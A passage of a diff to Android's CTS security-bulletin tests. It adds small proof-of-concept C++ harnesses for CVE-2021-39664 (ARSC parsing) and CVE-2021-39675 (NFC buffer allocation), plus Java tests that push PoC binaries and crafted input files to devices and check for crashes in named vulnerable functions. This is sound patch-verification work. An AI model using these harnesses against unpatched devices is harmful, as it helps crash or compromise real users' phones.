-        event.when = when;
-        event.readTime = readTime;
-        event.deviceId = mapper.getDeviceContext().getEventHubId();
-        event.type = type;
-        event.code = code;
-        event.value = value;
-        mapper.process(&event);
-        mReader->loopOnce();
-    }
-    void Process_DeactivateViewport_AbortTouches();
-};
-
-void InputMapperTest::Process_DeactivateViewport_AbortTouches() {
-    SetUp();
-    addConfigurationProperty("touch.deviceType", "touchScreen");
-    mTestPolicy->addDisplayViewport(DISPLAY_ID, DISPLAY_WIDTH, DISPLAY_HEIGHT,
-                                    DISPLAY_ORIENTATION_0, true /*isActive*/, UNIQUE_ID, NO_PORT,
-                                    ViewportType::INTERNAL);
-    std::optional<DisplayViewport> optionalDisplayViewport =
-            mTestPolicy->getDisplayViewportByUniqueId(UNIQUE_ID);
-    DisplayViewport displayViewport = *optionalDisplayViewport;
-
-    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-    mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_X, RAW_X_MIN, RAW_X_MAX, 0, 0);
-    mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_Y, RAW_Y_MIN, RAW_Y_MAX, 0, 0);
-    MultiTouchInputMapper& mapper = addMapperAndConfigure<MultiTouchInputMapper>();
-
-    // Finger down
-    int32_t x = 100, y = 100;
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-
-    NotifyMotionArgs motionArgs;
-
-    // Deactivate display viewport
-    displayViewport.isActive = false;
-    mTestPolicy->updateViewport(displayViewport);
-    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-
-    // Finger move
-    x += 10, y += 10;
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-
-    // Reactivate display viewport
-    displayViewport.isActive = true;
-    mTestPolicy->updateViewport(displayViewport);
-    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-
-    // Finger move again
-    x += 10, y += 10;
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
-    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-}
-
-} // namespace android
-
-int main() {
-    android::InputMapperTest inputMapperTest;
-    inputMapperTest.Process_DeactivateViewport_AbortTouches();
-    return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
new file mode 100644
index 0000000..8fd6801
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-39664",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults",
+    ],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    shared_libs: [
+        "libandroidfw",
+        "libui",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
new file mode 100644
index 0000000..0c477f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
@@ -0,0 +1,65 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <androidfw/ApkAssets.h>
+
+#include <vector>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using android::LoadedArsc;
+
+bool testInProgress = false;
+char enable_selective_overload = ENABLE_NONE;
+FILE *file = nullptr;
+
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (testInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+
+void exitHandler(void) {
+    if (file) {
+        fclose(file);
+        file = nullptr;
+    }
+}
+
+int main(int argc, char **argv) {
+    atexit(exitHandler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+    FAIL_CHECK(argc >= 2);
+    file = fopen(argv[1], "r");
+    FAIL_CHECK(file);
+    fseek(file, 0, SEEK_END);
+    size_t size = ftell(file);
+    fseek(file, 0, SEEK_SET);
+    enable_selective_overload = ENABLE_ALL;
+    std::vector<uint8_t> buffer(size);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+    FAIL_CHECK(fread((void *)buffer.data(), 1, size, file) == size);
+    testInProgress = true;
+    LoadedArsc::Load(buffer.data(), size);
+    testInProgress = false;
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
new file mode 100644
index 0000000..b4bdd3c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-39675",
+    compile_multilib: "64",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults",
+    ],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+       "libnfc-nci",
+    ],
+    include_dirs: [
+        "system/nfc/src/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
new file mode 100644
index 0000000..78ebda8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
@@ -0,0 +1,22 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "gki.h"
+
+int main() {
+    return (GKI_getbuf(USHRT_MAX) == nullptr) ? EXIT_SUCCESS : EXIT_VULNERABLE;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index 31da488..810f92d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -34,9 +34,10 @@
     @AsbSecurityTest(cveBugId = 112161557)
     public void testPocCVE_2018_9558() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
         String binaryName = "CVE-2018-9558";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {CrashUtils.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
         testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
new file mode 100644
index 0000000..181d660
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2012 extends SecurityTestCase {
+
+    /**
+     * b/120497437
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t3t_update_block (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 120497437)
+    @Test
+    public void testPocCVE_2019_2012() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2019-2012";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(
+                        new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
new file mode 100644
index 0000000..6689459
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+import java.util.Arrays;
+import java.util.ArrayList;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0034 extends SecurityTestCase {
+
+    /**
+     * b/62458770
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @AsbSecurityTest(cveBugId = 62458770)
+    @Test
+    public void testPocCVE_2020_0034() throws Exception {
+        pocPusher.only32();
+        String binaryName = "CVE-2020-0034";
+        String inputFiles[] = {"cve_2020_0034.ivf"};
+        String signals[] = {CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 9573b39..2c39674 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -35,9 +35,10 @@
     @AsbSecurityTest(cveBugId = 147309942)
     public void testPocCVE_2020_0073() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
         String binaryName = "CVE-2020-0073";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {CrashUtils.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
         testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
index 695d8dc..12edb1a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -16,13 +16,19 @@
 
 package android.security.cts;
 
+import static org.junit.Assume.assumeFalse;
+
 import android.platform.test.annotations.AsbSecurityTest;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
 
-import static org.junit.Assume.*;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2020_0381 extends SecurityTestCase {
@@ -31,13 +37,21 @@
      * b/150159669
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @Test
     @AsbSecurityTest(cveBugId = 150159669)
+    @Test
     public void testPocCVE_2020_0381() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+        String binaryName = "CVE-2020-0381";
         String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"};
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0381",
-                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
-                inputFiles, AdbUtils.TMP_PATH, getDevice());
+        String signals[] = {CrashUtils.SIGSEGV};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_ptbl"));
+        testConfig.config.setSignals(signals);
+        testConfig.arguments =
+                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
index d2a4ca5..72765d6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
@@ -16,11 +16,19 @@
 
 package android.security.cts;
 
+import static org.junit.Assume.assumeFalse;
+
 import android.platform.test.annotations.AsbSecurityTest;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assume.assumeFalse;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2020_0383 extends SecurityTestCase {
@@ -29,14 +37,21 @@
      * b/150160279
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @Test
     @AsbSecurityTest(cveBugId = 150160279)
+    @Test
     public void testPocCVE_2020_0383() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
-        String inputFiles[] = {"cve_2020_0383.xmf", "cve_2020_0383.info"};
         String binaryName = "CVE-2020-0383";
-        AdbUtils.runPocAssertNoCrashesNotVulnerable(binaryName,
-                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
-                inputFiles, AdbUtils.TMP_PATH, getDevice());
+        String inputFiles[] = {"cve_2020_0383.xmf", "cve_2020_0383.info"};
+        String signals[] = {CrashUtils.SIGSEGV};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins"));
+        testConfig.config.setSignals(signals);
+        testConfig.arguments =
+                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
index f89ec7d..34c66de 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -16,13 +16,19 @@
 
 package android.security.cts;
 
+import static org.junit.Assume.assumeFalse;
+
 import android.platform.test.annotations.AsbSecurityTest;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
 
-import static org.junit.Assume.*;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2020_0384 extends SecurityTestCase {
@@ -31,13 +37,22 @@
      * b/150159906
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @Test
     @AsbSecurityTest(cveBugId = 150159906)
+    @Test
     public void testPocCVE_2020_0384() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+        String binaryName = "CVE-2020-0384";
         String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"};
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0384",
-                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
-                inputFiles, AdbUtils.TMP_PATH, getDevice());
+        String signals[] = {CrashUtils.SIGSEGV};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(
+                        new BacktraceFilterPattern("libmidiextractor", "Convert_art"));
+        testConfig.config.setSignals(signals);
+        testConfig.arguments =
+                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
index 19109b8..0f9e7d2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -16,13 +16,19 @@
 
 package android.security.cts;
 
+import static org.junit.Assume.assumeFalse;
+
 import android.platform.test.annotations.AsbSecurityTest;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
 
-import static org.junit.Assume.*;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2020_0385 extends SecurityTestCase {
@@ -31,13 +37,21 @@
      * b/150160041
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @Test
     @AsbSecurityTest(cveBugId = 150160041)
+    @Test
     public void testPocCVE_2020_0385() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+        String binaryName = "CVE-2020-0385";
         String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"};
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0385",
-                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
-                inputFiles, AdbUtils.TMP_PATH, getDevice());
+        String signals[] = {CrashUtils.SIGSEGV};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins"));
+        testConfig.config.setSignals(signals);
+        testConfig.arguments =
+                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index af3503c..585d19b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,21 +17,40 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2021_0430 extends SecurityTestCase {
 
     /**
      * b/178725766
      * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_mfc_handle_read_op (As per AOSP code)
      */
     @Test
     @AsbSecurityTest(cveBugId = 178725766)
     public void testPocCVE_2021_0430() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice());
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2021-0430";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_mfc_handle_read_op"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index db0a1b2..77c9188 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -1,4 +1,4 @@
-/**
+/*
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,85 +16,42 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-import org.junit.Test;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Assert;
+import org.junit.Before;
 import org.junit.runner.RunWith;
-
-import static org.hamcrest.core.Is.is;
-import static org.junit.Assert.assertThat;
+import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0523 extends SecurityTestCase {
+public class CVE_2021_0523 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0523.apk";
 
-    private static void extractInt(String str, int[] displaySize) {
-        str = ((str.replaceAll("[^\\d]", " ")).trim()).replaceAll(" +", " ");
-        if (str.equals("")) {
-            return;
-        }
-        String s[] = str.split(" ");
-        for (int i = 0; i < s.length; ++i) {
-            displaySize[i] = Integer.parseInt(s[i]);
-        }
+    @Before
+    public void setUp() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
     }
 
     /**
      * b/174047492
      */
-    @Test
+    @AppModeFull
     @AsbSecurityTest(cveBugId = 174047492)
+    @Test
     public void testPocCVE_2021_0523() throws Exception {
-        final int SLEEP_INTERVAL_MILLISEC = 30 * 1000;
-        String apkName = "CVE-2021-0523.apk";
-        String appPath = AdbUtils.TMP_PATH + apkName;
-        String packageName = "android.security.cts.cve_2021_0523";
-        String crashPattern =
-            "Device is vulnerable to b/174047492 hence any app with " +
-            "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
-        ITestDevice device = getDevice();
-
-        try {
-            /* Push the app to /data/local/tmp */
-            pocPusher.appendBitness(false);
-            pocPusher.pushFile(apkName, appPath);
-
-            /* Wake up the screen */
-            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
-            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
-            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-
-            /* Install the application */
-            AdbUtils.runCommandLine("pm install " + appPath, device);
-
